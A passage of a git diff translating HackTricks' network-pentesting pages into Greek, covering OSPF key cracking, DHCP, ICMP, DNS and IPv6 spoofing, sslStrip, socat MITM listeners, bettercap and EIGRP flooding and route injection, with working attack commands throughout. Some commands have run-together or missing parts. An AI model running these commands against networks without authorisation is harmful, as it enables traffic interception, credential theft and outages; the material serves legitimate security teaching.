employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +Στο πρωτόκολλο Open Shortest Path First (OSPF) **η αυθεντικοποίηση MD5 χρησιμοποιείται συνήθως για να διασφαλίσει ασφαλή επικοινωνία μεταξύ των δρομολογητών**. Ωστόσο, αυτό το μέτρο ασφαλείας μπορεί να παραβιαστεί χρησιμοποιώντας εργαλεία όπως το Loki και το John the Ripper. Αυτά τα εργαλεία είναι ικανά να συλλάβουν και να σπάσουν τα MD5 hashes, εκθέτοντας το κλειδί αυθεντικοποίησης. Μόλις αποκτηθεί αυτό το κλειδί, μπορεί να χρησιμοποιηθεί για την εισαγωγή νέων πληροφοριών δρομολόγησης. Για να ρυθμίσετε τις παραμέτρους της διαδρομής και να καθορίσετε το παραβιασμένο κλειδί, χρησιμοποιούνται οι καρτέλες _Injection_ και _Connection_, αντίστοιχα. -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **Σύλληψη και Σπάσιμο MD5 Hashes:** Εργαλεία όπως το Loki και το John the Ripper χρησιμοποιούνται για αυτό το σκοπό. +- **Ρύθμιση Παραμέτρων Διαδρομής:** Αυτό γίνεται μέσω της καρτέλας _Injection_. +- **Ρύθμιση του Παραβιασμένου Κλειδιού:** Το κλειδί ρυθμίζεται κάτω από την καρτέλα _Connection_. ### Other Generic Tools & Sources -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): Εργαλείο για σάρωση δικτυακής κίνησης και εύρεση ευπαθειών +- Μπορείτε να βρείτε **περισσότερες πληροφορίες σχετικά με επιθέσεις δικτύου** [**εδώ**](https://github.com/Sab0tag3d/MITM-cheatsheet). ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +Ο επιτιθέμενος ρυθμίζει όλες τις παραμέτρους δικτύου (GW, IP, DNS) του νέου μέλους του δικτύου στέλνοντας ψεύτικες απαντήσεις DHCP. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +Δείτε την [προηγούμενη ενότητα](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +Το ICMP Redirect συνίσταται στην αποστολή ενός πακέτου ICMP τύπου 1 κωδικού 5 που υποδεικνύει ότι ο επιτιθέμενος είναι ο καλύτερος τρόπος για να φτάσετε σε μια διεύθυνση IP. Στη συνέχεια, όταν το θύμα θέλει να επικοινωνήσει με την IP, θα στείλει το πακέτο μέσω του επιτιθέμενου. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +Ο επιτιθέμενος θα επιλύσει μερικούς (ή όλους) τους τομείς που ζητάει το θύμα. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**Ρυθμίστε το δικό σας DNS με το dnsmasq** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Τοπικές Πύλες -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +Πολλές διαδρομές προς συστήματα και δίκτυα συχνά υπάρχουν. Αφού δημιουργήσετε μια λίστα με διευθύνσεις MAC εντός του τοπικού δικτύου, χρησιμοποιήστε το _gateway-finder.py_ για να εντοπίσετε υπολογιστές που υποστηρίζουν την προώθηση IPv4. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` - ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. +Για την τοπική επίλυση ονομάτων όταν οι αναζητήσεις DNS αποτυγχάνουν, τα συστήματα της Microsoft βασίζονται στην **Link-Local Multicast Name Resolution (LLMNR)** και την **NetBIOS Name Service (NBT-NS)**. Ομοίως, οι υλοποιήσεις **Apple Bonjour** και **Linux zero-configuration** χρησιμοποιούν **Multicast DNS (mDNS)** για την ανακάλυψη συστημάτων εντός ενός δικτύου. Λόγω της μη αυθεντικοποιημένης φύσης αυτών των πρωτοκόλλων και της λειτουργίας τους μέσω UDP, στέλνοντας μηνύματα, μπορούν να εκμεταλλευτούν από επιτιθέμενους που στοχεύουν να ανακατευθύνουν τους χρήστες σε κακόβουλες υπηρεσίες. -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Μπορείτε να προσποιηθείτε υπηρεσίες που αναζητούνται από τους hosts χρησιμοποιώντας το Responder για να στείλετε ψευδείς απαντήσεις.\ +Διαβάστε εδώ περισσότερες πληροφορίες σχετικά με [πώς να προσποιηθείτε υπηρεσίες με το Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +Οι περιηγητές χρησιμοποιούν συνήθως το **Web Proxy Auto-Discovery (WPAD) πρωτόκολλο για να αποκτούν αυτόματα ρυθμίσεις proxy**. Αυτό περιλαμβάνει την ανάκτηση λεπτομερειών ρύθμισης από έναν διακομιστή, συγκεκριμένα μέσω μιας διεύθυνσης URL όπως "http://wpad.example.org/wpad.dat". Η ανακάλυψη αυτού του διακομιστή από τους πελάτες μπορεί να συμβεί μέσω διαφόρων μηχανισμών: -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +- Μέσω **DHCP**, όπου η ανακάλυψη διευκολύνεται με τη χρήση μιας ειδικής καταχώρησης κωδικού 252. +- Μέσω **DNS**, που περιλαμβάνει την αναζήτηση ενός ονόματος υπολογιστή με την ετικέτα _wpad_ εντός του τοπικού τομέα. +- Μέσω **Microsoft LLMNR και NBT-NS**, που είναι μηχανισμοί εφεδρείας που χρησιμοποιούνται σε περιπτώσεις όπου οι αναζητήσεις DNS δεν επιτυγχάνουν. -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Το εργαλείο Responder εκμεταλλεύεται αυτό το πρωτόκολλο ενεργώντας ως **κακόβουλος διακομιστής WPAD**. Χρησιμοποιεί DHCP, DNS, LLMNR και NBT-NS για να παραπλανήσει τους πελάτες να συνδεθούν σε αυτό. Για να εμβαθύνετε στο πώς μπορούν να προσποιηθούν οι υπηρεσίες χρησιμοποιώντας το Responder [ελέγξτε αυτό](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Μπορείτε να προσφέρετε διαφορετικές υπηρεσίες στο δίκτυο για να προσπαθήσετε να **παγιδεύσετε έναν χρήστη** να εισάγει κάποια **κωδικοποιημένα διαπιστευτήρια**. **Περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** ### IPv6 Neighbor Spoofing -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. - +Αυτή η επίθεση είναι πολύ παρόμοια με την ARP Spoofing αλλά στον κόσμο του IPv6. Μπορείτε να κάνετε το θύμα να πιστέψει ότι το IPv6 του GW έχει το MAC του επιτιθέμενου. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` - ### IPv6 Router Advertisement Spoofing/Flooding -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Ορισμένα λειτουργικά συστήματα ρυθμίζουν από προεπιλογή την πύλη από τα πακέτα RA που αποστέλλονται στο δίκτυο. Για να δηλώσετε τον επιτιθέμενο ως IPv6 δρομολογητή μπορείτε να χρησιμοποιήσετε: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` - ### IPv6 DHCP spoofing -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Από προεπιλογή, ορισμένα λειτουργικά συστήματα προσπαθούν να ρυθμίσουν το DNS διαβάζοντας ένα πακέτο DHCPv6 στο δίκτυο. Έτσι, ένας επιτιθέμενος θα μπορούσε να στείλει ένα πακέτο DHCPv6 για να ρυθμιστεί ως DNS. Το DHCP παρέχει επίσης μια διεύθυνση IPv6 στο θύμα. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (ψεύτικη σελίδα και εισαγωγή κώδικα JS) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## Επιθέσεις στο Διαδίκτυο ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Βασικά, αυτό που κάνει αυτή η επίθεση είναι, σε περίπτωση που ο **χρήστης** προσπαθήσει να **πρόσβαση** σε μια **σελίδα HTTP** που **ανακατευθύνει** στην **έκδοση HTTPS**. Το **sslStrip** θα **διατηρήσει** μια **σύνδεση HTTP με** τον **πελάτη και** μια **σύνδεση HTTPS με** τον **διακομιστή** ώστε να μπορεί να **καταγράψει** τη σύνδεση σε **καθαρό κείμενο**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Περισσότερες πληροφορίες [εδώ](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ και dns2proxy για την παράκαμψη του HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +Η **διαφορά** μεταξύ **sslStrip+ και dns2proxy** σε σχέση με το **sslStrip** είναι ότι θα **ανακατευθύνουν** για παράδειγμα το _**www.facebook.com**_ **σε** _**wwww.facebook.com**_ (σημειώστε το **επιπλέον** "**w**") και θα ορίσουν τη **διεύθυνση αυτού του τομέα ως τη διεύθυνση IP του επιτιθέμενου**. Με αυτόν τον τρόπο, ο **πελάτης** θα **συνδεθεί** στο _**wwww.facebook.com**_ **(τον επιτιθέμενο)** αλλά πίσω από τις σκηνές το **sslstrip+** θα **διατηρεί** τη **πραγματική σύνδεση** μέσω https με το **www.facebook.com**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +Ο **στόχος** αυτής της τεχνικής είναι να **αποφευχθεί το HSTS** επειδή το _**wwww**.facebook.com_ **δεν θα** αποθηκευτεί στην **κρυφή μνήμη** του προγράμματος περιήγησης, οπότε το πρόγραμμα περιήγησης θα παραπλανηθεί να εκτελέσει **την αυθεντικοποίηση του facebook σε HTTP**.\ +Σημειώστε ότι για να εκτελεστεί αυτή η επίθεση, το θύμα πρέπει αρχικά να προσπαθήσει να αποκτήσει πρόσβαση στο [http://www.faceook.com](http://www.faceook.com) και όχι στο https. Αυτό μπορεί να γίνει τροποποιώντας τους συνδέσμους μέσα σε μια σελίδα http. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Περισσότερες πληροφορίες [εδώ](https://www.bettercap.org/legacy/#hsts-bypass), [εδώ](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) και [εδώ](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**Το sslStrip ή το sslStrip+ δεν λειτουργεί πια. Αυτό συμβαίνει επειδή υπάρχουν κανόνες HSTS που είναι αποθηκευμένοι στους προγράμματα περιήγησης, οπότε ακόμη και αν είναι η πρώτη φορά που ένας χρήστης αποκτά πρόσβαση σε έναν "σημαντικό" τομέα, θα αποκτήσει πρόσβαση μέσω HTTPS. Επίσης, σημειώστε ότι οι αποθηκευμένοι κανόνες και άλλοι παραγόμενοι κανόνες μπορούν να χρησιμοποιούν τη σημαία** [**`includeSubdomains`**](https://hstspreload.appspot.com) **έτσι το** _**wwww.facebook.com**_ **παράδειγμα από πριν δεν θα λειτουργεί πια καθώς το** _**facebook.com**_ **χρησιμοποιεί HSTS με `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory ## TCP listen in port - ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` - ## TCP + SSL listen in port -#### Generate keys and self-signed certificate - +#### Δημιουργία κλειδιών και αυτο-υπογεγραμμένου πιστοποιητικού ``` FILENAME=server # Generate a public/private key pair: @@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### Ακούστε χρησιμοποιώντας πιστοποιητικό ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### Ακούστε χρησιμοποιώντας πιστοποιητικό και ανακατευθύνετε στους διακομιστές ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +Κάποιες φορές, αν ο πελάτης ελέγξει ότι η CA είναι έγκυρη, θα μπορούσατε **να εξυπηρετήσετε ένα πιστοποιητικό άλλου hostname υπογεγραμμένο από μια CA**.\ +Ένας άλλος ενδιαφέρον έλεγχος είναι να εξυπηρετήσετε ένα **πιστοποιητικό του ζητούμενου hostname αλλά αυτο-υπογεγραμμένο**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +Άλλα πράγματα που μπορείτε να δοκιμάσετε είναι να προσπαθήσετε να υπογράψετε το πιστοποιητικό με ένα έγκυρο πιστοποιητικό που δεν είναι έγκυρη CA. Ή να χρησιμοποιήσετε το έγκυρο δημόσιο κλειδί, να αναγκάσετε τη χρήση ενός αλγορίθμου όπως το diffie hellman (ένας που δεν χρειάζεται να αποκρυπτογραφήσει τίποτα με το πραγματικό ιδιωτικό κλειδί) και όταν ο πελάτης ζητήσει μια δοκιμή του πραγματικού ιδιωτικού κλειδιού (όπως ένα hash) να στείλετε μια ψεύτικη δοκιμή και να περιμένετε ότι ο πελάτης δεν θα ελέγξει αυτό. ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -862,20 +764,19 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Σημειώσεις Ενεργής Ανακάλυψης -### Active Discovery Notes +Λάβετε υπόψη ότι όταν αποστέλλεται ένα πακέτο UDP σε μια συσκευή που δεν έχει την ζητούμενη θύρα, αποστέλλεται ένα ICMP (Port Unreachable). -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARP ανακάλυψη** -### **ARP discover** - -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +Τα πακέτα ARP χρησιμοποιούνται για να ανακαλύψουν ποιες IP χρησιμοποιούνται μέσα στο δίκτυο. Ο υπολογιστής πρέπει να στείλει ένα αίτημα για κάθε πιθανή διεύθυνση IP και μόνο οι χρησιμοποιούμενες θα απαντήσουν. ### **mDNS (multicast DNS)** -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +Το Bettercap στέλνει ένα αίτημα MDNS (κάθε X ms) ζητώντας για **\_services\_.dns-sd.\_udp.local**. Η μηχανή που βλέπει αυτό το πακέτο συνήθως απαντά σε αυτό το αίτημα. Στη συνέχεια, αναζητά μόνο τις μηχανές που απαντούν σε "services". -**Tools** +**Εργαλεία** - Avahi-browser (--all) - Bettercap (net.probe.mdns) @@ -883,26 +784,23 @@ Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp ### **NBNS (NetBios Name Server)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Το Bettercap εκπέμπει πακέτα στη θύρα 137/UDP ζητώντας το όνομα "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". ### **SSDP (Simple Service Discovery Protocol)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Το Bettercap εκπέμπει πακέτα SSDP αναζητώντας κάθε είδους υπηρεσίες (UDP Port 1900). ### **WSD (Web Service Discovery)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Το Bettercap εκπέμπει πακέτα WSD αναζητώντας υπηρεσίες (UDP Port 3702). -## References +## Αναφορές - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (3rd edition)** -- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** +- **Αξιολόγηση Ασφάλειας Δικτύου: Γνωρίστε το Δίκτυό σας (3η έκδοση)** +- **Πρακτική Χάκινγκ IoT: Ο Οριστικός Οδηγός για την Επίθεση στο Διαδίκτυο των Πραγμάτων. Από τους Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 9dcab7fc1..6c3c3fe52 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,10 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} -### DHCPv6 vs. DHCPv4 Message Types Comparison +### Σύγκριση Τύπων Μηνυμάτων DHCPv6 και DHCPv4 -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +Μια συγκριτική άποψη των τύπων μηνυμάτων DHCPv6 και DHCPv4 παρουσιάζεται στον παρακάτω πίνακα: -| DHCPv6 Message Type | DHCPv4 Message Type | +| Τύπος Μηνύματος DHCPv6 | Τύπος Μηνύματος DHCPv4 | | :--------------------------------- | :------------------ | | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -17,23 +17,23 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**Λεπτομερής Εξήγηση Τύπων Μηνυμάτων DHCPv6:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: Ξεκινά από έναν πελάτη DHCPv6 για να βρει διαθέσιμους διακομιστές. +2. **Advertise (2)**: Αποστέλλεται από τους διακομιστές ως απάντηση σε ένα Solicit, υποδεικνύοντας τη διαθεσιμότητα για υπηρεσία DHCP. +3. **Request (3)**: Οι πελάτες το χρησιμοποιούν για να ζητήσουν διευθύνσεις IP ή προθέματα από έναν συγκεκριμένο διακομιστή. +4. **Confirm (4)**: Χρησιμοποιείται από έναν πελάτη για να επαληθεύσει αν οι εκχωρημένες διευθύνσεις είναι ακόμα έγκυρες στο δίκτυο, συνήθως μετά από μια αλλαγή δικτύου. +5. **Renew (5)**: Οι πελάτες το στέλνουν στον αρχικό διακομιστή για να επεκτείνουν τις διάρκειες των διευθύνσεων ή να ενημερώσουν τις ρυθμίσεις. +6. **Rebind (6)**: Αποστέλλεται σε οποιονδήποτε διακομιστή για να επεκτείνει τις διάρκειες των διευθύνσεων ή να ενημερώσει τις ρυθμίσεις, ειδικά όταν δεν έχει ληφθεί απάντηση σε ένα Renew. +7. **Reply (7)**: Οι διακομιστές το χρησιμοποιούν για να παρέχουν διευθύνσεις, παραμέτρους ρύθμισης ή για να αναγνωρίσουν μηνύματα όπως Release ή Decline. +8. **Release (8)**: Οι πελάτες ενημερώνουν τον διακομιστή να σταματήσει να χρησιμοποιεί μία ή περισσότερες εκχωρημένες διευθύνσεις. +9. **Decline (9)**: Αποστέλλεται από τους πελάτες για να αναφέρουν ότι οι εκχωρημένες διευθύνσεις είναι σε σύγκρουση στο δίκτυο. +10. **Reconfigure (10)**: Οι διακομιστές προτρέπουν τους πελάτες να ξεκινήσουν συναλλαγές για νέες ή ενημερωμένες ρυθμίσεις. +11. **Information-Request (11)**: Οι πελάτες ζητούν παραμέτρους ρύθμισης χωρίς εκχώρηση διεύθυνσης IP. +12. **Relay-Forw (12)**: Οι πράκτορες αναμετάδοσης προωθούν μηνύματα στους διακομιστές. +13. **Relay-Repl (13)**: Οι διακομιστές απαντούν στους πράκτορες αναμετάδοσης, οι οποίοι στη συνέχεια παραδίδουν το μήνυμα στον πελάτη. -## References +## Αναφορές - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages) diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index fe4b7247a..76d92dc57 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -2,60 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**Αυτή είναι μια περίληψη των επιθέσεων που εκτίθενται στο** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Ελέγξτε το για περισσότερες πληροφορίες. ## **Fake EIGRP Neighbors Attack** -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +- **Σκοπός**: Να υπερφορτώσει τους επεξεργαστές των δρομολογητών πλημμυρίζοντάς τους με πακέτα EIGRP hello, ενδεχομένως οδηγώντας σε επίθεση Denial of Service (DoS). +- **Εργαλείο**: **helloflooding.py** script. +- **Εκτέλεση**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **Παράμετροι**: +- `--interface`: Προσδιορίζει τη δικτυακή διεπαφή, π.χ., `eth0`. +- `--as`: Ορίζει τον αριθμό αυτόνομου συστήματος EIGRP, π.χ., `1`. +- `--subnet`: Ορίζει την τοποθεσία υποδικτύου, π.χ., `10.10.100.0/24`. ## **EIGRP Blackhole Attack** -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - 